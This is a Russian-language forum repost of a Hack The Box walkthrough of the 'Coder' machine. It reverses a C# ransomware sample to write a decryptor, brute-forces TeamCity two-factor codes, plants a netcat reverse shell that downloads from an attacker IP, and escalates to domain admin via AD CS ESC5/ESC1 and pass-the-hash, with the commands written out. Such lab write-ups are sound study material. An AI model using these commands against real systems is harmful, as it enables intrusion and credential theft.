• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Реверсим шифровальщик и применяем технику ESC5

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу процесс реверсинга вируса‑шифровальщика, написанного на C#. Потом мы обойдем двухфакторную аутентификацию в TeamCity и получим RCE. Затем применим технику ESC5 для повышения привилегий через мисконфиг службы сертификации Active Directory.
Наша конечная цель — захват рута на машине Coder с площадки Hack The Box. Уровень ее сложности — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.207 coder.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел множество открытых портов. Несложно заметить, что мы имеем дело с Windows.
  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
LDAP раскрывает имя домена и хоста, которые сразу добавляем в файл /etc/hosts.

10.10.11.207 coder.htb dc01.coder.htb
Теперь проверяем доступ к службе SMB от имени гостевого пользователя и получаем список общих ресурсов. Для этого используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

cme smb 10.10.11.207 -u 'guest' -p '' --shares
Для просмотра ссылки Войди или Зарегистрируйся
Есть несколько интересных каталогов, но первым делом заглянем в Development.

Точка входа​

Подключаемся к ресурсу SMB с помощью скрипта smbclient из набора Для просмотра ссылки Войди или Зарегистрируйся.

Код:
impacket-smbclient 'guest@10.10.11.207'
use Development
Содержимое общих ресурсов
В итоге нам доступно очень много файлов, поэтому лучше скопировать все на локальный хост и затем проанализировать.

Код:
smbclient //10.10.11.207/Development -N
recurse on
prompt off
mget *
Рекурсивная загрузка файлов

Наиболее интересны исполняемый файл‑шифровальщик и, видимо, зашифрованный файл.

Содержимое каталога Temporary Projects

Программа написана на C#, а значит, исполняемый файл можно декомпилировать с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Исходный код класса Main

Таким образом, файлы шифруются при помощи ключа и вектора инициализации (строки 21–26). В качестве сида для функции Random используется текущее время, а это значит, что ключ и вектор инициализации неслучайны. Мы можем немного переписать программу для расшифровки файла, а время, когда файл был зашифрован, определим по дате его создания.

Содержимое SMB-ресурса

Для перевода времени в формат UNIX воспользуемся сайтом Для просмотра ссылки Войди или Зарегистрируйся. Указываем дату (с учетом временной зоны) и получаем число для инициализации функции Random.

Получение сида Random

Теперь можем переписать код, который поможет расшифровать файл.

Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;

namespace Decryptor
{
 class Program
 {
   static void Main(string[] args)
   {
    FileInfo fileInfo = new FileInfo(args[0]);
    string destFile = Path.ChangeExtension(fileInfo.Name, ".dec");
    long value = 1668205028; // DateTimeOffset.Now.ToUnixTimeSeconds();
    Random random = new Random(Convert.ToInt32(value));
    byte[] array = new byte[16];
    random.NextBytes(array);
    byte[] array2 = new byte[32];
    random.NextBytes(array2);
    byte[] array3 = Program.EncryptFile(fileInfo.Name, destFile, array2, array);
   }

   private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
   {
    using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
    {
     using (FileStream destFileStream = new FileStream(destFile, FileMode.Create))
     {
       using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(Key, IV))
       {
        using (FileStream sourceFileStream = new FileStream(sourceFile, FileMode.Open))
        {
         using (CryptoStream cryptoStream = new CryptoStream(sourceFileStream, cryptoTransform, CryptoStreamMode.Read))
         {
           byte[] array = new byte[1024];
           int count;
           while ((count = cryptoStream.Read(array, 0, array.Length)) != 0)
           {
            destFileStream.Write(array, 0, count);
           }
         }
        }
       }
     }
    }
    return null;
   }
 }
}
Проверка расшифрованного файла

Это оказался архив 7-Zip, который содержит базу паролей KeePass и, предположительно, файл‑ключ.

Содержимое архива 7-Zip

А теперь расшифруем и откроем базу паролей KeePass.

Расшифровка базы KeePass Сохраненный запрос бэкапа Учетные данные пользователя s.blade Учетные данные пользователя s.blade для сервиса TeamCity

Точка опоры​

Первым делом проверяем найденные учетные данные. Так, данные для О365 оказались доменными учетными данными.

cme smb 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D' --shares
Проверка учетных данных на SMB-ресурсе

Нам удается авторизоваться на SMB. Теперь попробуем получить доступ к хосту, для чего проверим подключение к службе WinRM.

cme winrm 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D'
Проверка учетных данных на службе WinRM

Сессию получить не выйдет, поэтому переходим еще к одному найденному ресурсу — сайту Для просмотра ссылки Войди или Зарегистрируйся. Не забываем обновить запись в файле /etc/hosts.

10.10.11.207 coder.htb dc01.coder.htb teamcity-dev.coder.htb
Форма авторизации TeamCity

TeamCity — это билд‑сервер для обеспечения непрерывной интеграции при разработке. Вводим учетные данные для платформы и натыкаемся на двухфакторную аутентификацию.

Двухфакторная аутентификация TeamCity

У нас запрашивают шестизначный пароль, попробуем его пробрутить (возможно, займет какое‑то время). Для перебора используем Burp Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads Burp Intruder — результат перебора

В итоге можно отфильтровать результаты по длине или коду ответа и получить один отличающийся. Вводим этот код и получаем доступ к TeamCity.

Главная страница TeamCity

TeamCity RCE​

Переходим к единственному проекту и выполняем сборку. Больше всего нас интересуют логи сборки.

Логи сборки проекта

В логах видим путь к запускаемому скрипту на PowerShell. Этот файл мы можем найти среди общих каталогов SMB.

Содержимое проекта teamcity_test_repo

Хоть писать в файл на сервере мы не можем, но благодаря локальному доступу к git-репозиторию все же имеем возможность выполнить свой код через применение diff-файла. В локальный файл hello_world.ps1 запишем реверс‑шелл на PowerShell, сгенерированный на сайте Для просмотра ссылки Войди или Зарегистрируйся.

Исходный файл на PowerShell Измененный файл hello_world.ps1

Теперь выполняем git commit.

git commit hello_world.ps1 -m 'changed'
Применение изменений git

Получим идентификаторы коммитов, для этого смотрим git log.

git log
Коммиты git

А теперь создадим diff-файл, который будет содержать различия между коммитами.

git diff 4aefc d9899
Формирование diff-файла

Вернемся к TeamCity и запустим кастомную сборку, указав сформированный diff-файл. Предварительно запускаем листенер:

rlwrap nc -lnvp 4321
Кастомная сборка проекта

К сожалению, реверс‑шелл мы не получаем, а в логах сборки читаем, что обнаружено вредоносное содержимое скрипта.

Логи сборки
Я решил не патчить AMSI для работы с PowerShell, а пошел иным путем: просто скачиваем на хост Windows-версию netcat и запускаем самый простой реверс‑шелл. Для этого нужно сформировать новый diff-файл.

Код:
curl http://10.10.14.83:80/nc64.exe -O .\nc64.exe
.\nc64.exe 10.10.14.83 4321 -e powershell

Повторяем все предваряющие сборку действия и получаем бэкконнект.

Сессия пользователя coder

Продвижение​

Получив доступ к файловой системе хоста, первым делом проверяем остальные проекты, так как там могут быть ценные данные. При этом важно заглянуть в каталог C:\programdata.

Содержимое каталога C:\programdata\JetBrains

Находим уже знакомый нам проект, но он содержит много diff-файлов.

Содержимое каталога C:\programdata\JetBrains\TeamCity\system\changes

Большинство из них оказались моими попытками получить реверс‑шелл, но самый первый файл был создан давно. Проверим его содержимое.

Содержимое файла 101.changes.diff

Так находим файлы key.txt, enc.txt и Get-ADCS_Report.ps1. В скрипте пароль пользователя e.black в файле enc.txt расшифровывается с помощью ключа key.txt. Сохраним файлы на локальный хост и расшифруем пароль.

Код:
$key = Get-Content ./key.txt
$enc = Get-Content ./enc.txt | ConvertTo-SecureString -Key $key
(New-Object PSCredential 0, $enc).GetNetworkCredential().Password
Расшифрованный пароль

Получаем пароль пользователя e.black и проверяем его на ресурсе SMB.

cme smb 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Результат тестирования SMB

Затем проверим учетные данные для службы WinRM.

cme winrm 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Результат тестирования WinRM

Мы можем авторизоваться на хосте с помощью Для просмотра ссылки Войди или Зарегистрируйся и получить сессию пользователя, а заодно и первый флаг.

evil-winrm -i 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Флаг пользователя

Локальное повышение привилегий​

Теперь получим информацию о пользователе. Нас интересуют активные привилегии и группы, в которых он состоит.

whoami /all
Информация о пользователе

И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.

Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно Для просмотра ссылки Войди или Зарегистрируйся. А регистрировать Для просмотра ссылки Войди или Зарегистрируйся будем с помощью Для просмотра ссылки Войди или Зарегистрируйся для группы PKI Admins.

Код:
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins"
Регистрация нового шаблона

Теперь используем Для просмотра ссылки Войди или Зарегистрируйся, чтобы получить данные о центре сертификации и существующих шаблонах.

certipy-ad find -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300'
Получение информации о центре сертификации
Зарегистрированный шаблон
Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.

certipy-ad req -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn '[EMAIL]Administrator@coder.htb[/EMAIL]' -dns dc01.coder.htb
Запрос сертификата пользователя

Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.

Код:
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.11.207

certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207
Получение NTLM-хеша пароля пользователя

Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.

Код:
sudo timedatectl set-ntp 1
sudo ntpdate -s ntp.org

impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here